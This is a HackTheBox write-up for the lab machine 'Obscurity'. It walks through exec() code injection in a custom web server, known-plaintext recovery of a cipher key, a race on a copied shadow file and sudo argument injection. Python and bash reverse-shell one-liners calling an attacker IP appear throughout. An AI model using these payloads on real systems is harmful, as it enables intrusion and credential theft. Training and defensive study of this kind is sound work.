HTB: Obscurity Writeup

Obscurity - HackTheBox Writeup

Machine Information

AttributeDetails
NameObscurity
OSLinux
DifficultyMedium
PointsN/A
Release Date4 May 2020
IP Address10.10.10.168
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Obscurity is a medium-difficulty Linux machine featuring a custom web server with a critical code injection vulnerability. The exploitation chain begins with discovering a directory containing the source code of BadHTTPServer, which has an unsafe exec() call that allows arbitrary Python code execution. From there, enumeration reveals a custom encryption algorithm and encrypted password files. A known-plaintext attack recovers the encryption key, which decrypts the user’s password. Lateral movement leads to discovering a custom SSH replacement script that can be exploited via either a race condition on temporary shadow files or by argument injection through sudo. Both methods yield root access.

TL;DR: Code injection in custom web server → Source code discovery → Known-plaintext attack on custom crypto → User password recovery → Sudo abuse in custom SSH script → Root shell.


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -T4 10.10.10.168
nmap -sC -sV -p22,8080 10.10.10.168

Results:

22/tcp open ssh OpenSSH 7.6p1 Ubuntu
8080/tcp open http BadHTTPServer

The machine runs SSH on port 22 and a custom web server called BadHTTPServer on port 8080.

Service Enumeration

Port 8080 - BadHTTPServer:

Accessing the web server reveals a site for “Obscura,” a security-focused software company. The page mentions that their custom BadHTTPServer is located in a “secret development directory.”

The website itself provides minimal information, but the hint about the development directory is crucial for the next phase.

Vulnerability Assessment

Identified Vulnerabilities:

  1. Code Injection in BadHTTPServer - The serveDoc() function uses exec() with user-controlled input
  2. Source Code Exposure - The web server source code is accessible via directory enumeration
  3. Weak File Permissions - Custom encryption key and encrypted passwords are world-readable
  4. Custom Cryptography Weakness - The encryption algorithm is vulnerable to known-plaintext attacks
  5. Sudo Privilege Abuse - The custom SSH script has both race condition and argument injection vulnerabilities

Initial Foothold

Directory Enumeration

Using ffuf, we search for the development directory containing the web server source:

Terminal window
# Download and extract ffuf
wget https://github.com/ffuf/ffuf/releases/download/v1.0.2/ffuf_1.0.2_linux_amd64.tar.gz
mkdir ffuf && tar -xzf ffuf_1.0.2_linux_amd64.tar.gz -C ffuf
# Fuzz for directories
./ffuf -w /usr/share/dirb/wordlists/common.txt \
-u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200

Result: The develop directory is discovered, containing SuperSecureServer.py.

Source Code Acquisition

Terminal window
wget http://10.10.10.168:8080/develop/SuperSecureServer.py

Vulnerability Analysis

Examining the source code, the serveDoc() function contains the vulnerability:

def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # User input here!
exec(info.format(path)) # DANGEROUS!
# ... rest of code

The URL path is directly formatted into a string and executed with exec(), allowing arbitrary Python code injection.

Exploitation

Testing Locally:

First, set up a local test environment:

Terminal window
mkdir -p DocRoot/errors
touch DocRoot/errors/404.html
echo "test" > DocRoot/index.html

Edit SuperSecureServer.py to add a listening server and print statements:

# Add before exec()
print(info.format(path))
# Append to file
s = Server("127.0.0.1", 8080)
s.listen()

Test basic injection:

Terminal window
# Request
http://127.0.0.1:8080/';os.system('id');'
# Output shows command execution
uid=0(root) gid=0(root) groups=0(root)

Remote Exploitation:

Verify command execution on the target:

Terminal window
# Monitor for ICMP
tcpdump -i tun0 icmp &
# Execute ping via injection
curl "http://10.10.10.168:8080/';os.system('ping%20-c%202%2010.10.14.3');'"

Obtaining a Shell:

Craft a Python reverse shell payload:

Terminal window
# URL-encoded reverse shell
http://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Set up a listener:

Terminal window
nc -lvnp 443

Shell Upgrade

Terminal window
SHELL=/bin/bash script -q /dev/null
# Ctrl+Z
stty raw -echo; fg

Lateral Movement

Enumeration and Discovery

Run linPEAS to identify privilege escalation vectors:

Terminal window
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
bash linpeas.sh | tee linpeas_output.txt

Key findings:

  • User robert has a world-readable home directory
  • Files present: SuperSecureCrypt.py, check.txt, out.txt, passwordreminder.txt

Known-Plaintext Attack on Custom Encryption

The SuperSecureCrypt.py file implements a simple repeating-key cipher:

def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted

Attack Plan: We have check.txt (plaintext) and out.txt (ciphertext). By subtracting plaintext from ciphertext byte-by-byte, we can recover the key.

Exfiltrate Files:

Terminal window
# On target
base64 -w0 out.txt
base64 -w0 check.txt
# On local machine, decode
echo '<base64_out>' | base64 -d > out.txt
echo '<base64_check>' | base64 -d > check.txt

Recover the Key:

recover_key.py
def getkey(cipher, plain):
position = 0
key = ""
for item in list(plain):
cipherchar = cipher[position]
plainchar = ord(item)
key += chr((ord(cipherchar) - plainchar) % 255)
position += 1
print(key)
with open('out.txt', 'rb') as f:
cipher = f.read()
with open('check.txt', 'rb') as f:
plain = f.read()
getkey(cipher, plain)

Result: The encryption key is alexandrovich.

Password Recovery

Decrypt the password reminder file:

Terminal window
# On target
base64 -w0 passwordreminder.txt
# On local machine
echo '<base64_pwd>' | base64 -d > passwordreminder.txt
decrypt_password.py
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
with open('passwordreminder.txt', 'rb') as f:
cipher = f.read()
password = decrypt(cipher, "alexandrovich")
print(password)

Result: Password is SecThruObsFTW.

Lateral Movement to robert

Terminal window
su - robert
# Enter password: SecThruObsFTW
cat user.txt

Privilege Escalation

Discovery

Check sudo privileges:

Terminal window
sudo -l

Output:

User robert may run the following commands on obscure:
(ALL) NOPASSWD: /home/robert/BetterSSH/BetterSSH.py

The user can run a custom SSH replacement script as root without a password.

Method 1: Race Condition on Temporary Shadow File

Examining BetterSSH.py, the authentication process temporarily copies /etc/shadow to a random filename in /tmp/SSH/:

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1) # Only 100ms sleep!

Exploitation:

Open two SSH sessions as robert:

Session 1:

Terminal window
# Create /tmp/SSH directory and start monitoring
mkdir -p /tmp/SSH
cd /tmp/SSH
while true; do
sleep 0.05
cp -r . /tmp
done

Session 2:

Terminal window
sudo /home/robert/BetterSSH/BetterSSH.py
# When prompted:
# Username: robert
# Password: SecThruObsFTW

Back in Session 1:

Once a shadow file appears in /tmp:

Terminal window
cat /tmp/robert # or similar filename

Extract and crack the root password hash:

Terminal window
# Copy the root hash (e.g., root:$6$...$...)
echo 'root:$6$...$...' > root_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt

Result: Root password is mercedes.

Switch to root:

Terminal window
su - root
# Enter password: mercedes
cat /root/root.txt

Method 2: Sudo Argument Injection

Examining the command execution in BetterSSH.py:

if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

The script builds a command as ['sudo', '-u', 'robert', ...]. By injecting additional -u flags, we can override the user:

Exploitation:

Terminal window
sudo /home/robert/BetterSSH/BetterSSH.py
# Username: robert
# Password: SecThruObsFTW
# At the prompt, instead of a normal command, inject:
-u root id

This constructs: sudo -u robert -u root id, which executes as root.

Reverse Shell:

Create a reverse shell script:

Terminal window
echo 'bash -i >/dev/tcp/10.10.14.3/8080 0<&1 2>&1' > /tmp/shell.sh
chmod +x /tmp/shell.sh

Set up a listener:

Terminal window
nc -lvnp 8080

In the BetterSSH session:

Terminal window
-u root /tmp/shell.sh

Result: Obtain root shell and capture the flag.


Attack Chain Summary

Port Scan (SSH, BadHTTPServer on 8080)
Directory Enumeration (ffuf discovers /develop/)
Source Code Download (SuperSecureServer.py)
Code Injection in exec() → RCE as www-data
Reverse Shell Obtained
Enumerate robert's Home Directory
Known-Plaintext Attack on SuperSecureCrypt.py
Recover Encryption Key ("alexandrovich")
Decrypt Password ("SecThruObsFTW")
su to robert
Execute BetterSSH.py as root via sudo
Race Condition OR Argument Injection
Root Shell & Flags Captured

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufDirectory and file enumeration
wget / curlFile download and HTTP requests
ncReverse shell listener
tcpdumpICMP monitoring for command execution verification
johnPassword hash cracking
linPEASPrivilege escalation enumeration script
base64File encoding/decoding for exfiltration

Key Learnings

Techniques Practiced

  • Python code injection via unsafe exec() calls
  • Directory enumeration with ffuf
  • Crafting URL-encoded reverse shells
  • Known-plaintext cryptanalysis on custom ciphers
  • Race condition exploitation on temporary files
  • Sudo argument injection and manipulation
  • Custom application security weaknesses
  • File permission enumeration and exploitation

Lessons Learned

  1. Never use exec() with user input - Even with string formatting, untrusted input can break out of string literals and execute arbitrary code.

  2. Custom cryptography is dangerous - Simple repeating-key XOR-style ciphers are trivially broken with known-plaintext attacks. Use established libraries like cryptography or PyCryptodome.

  3. Temporary files are a privilege escalation vector - Race conditions on files in shared directories like /tmp with short time windows are exploitable.

  4. Argument parsing can be exploited - Building command arrays by naively extending with split input allows injection of additional flags (e.g., multiple -u options to sudo).

  5. Source code disclosure is critical - Exposing application source code allows attackers to identify vulnerabilities without reverse engineering.

  6. World-readable files in user directories - Configuration files, encrypted data, and scripts should never be world-readable. Use restrictive permissions (chmod 600 or 700).

  7. Defense in depth matters - This machine required chaining multiple vulnerabilities. A single fix (e.g., fixing the exec injection) would not be sufficient without addressing crypto and sudo issues.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>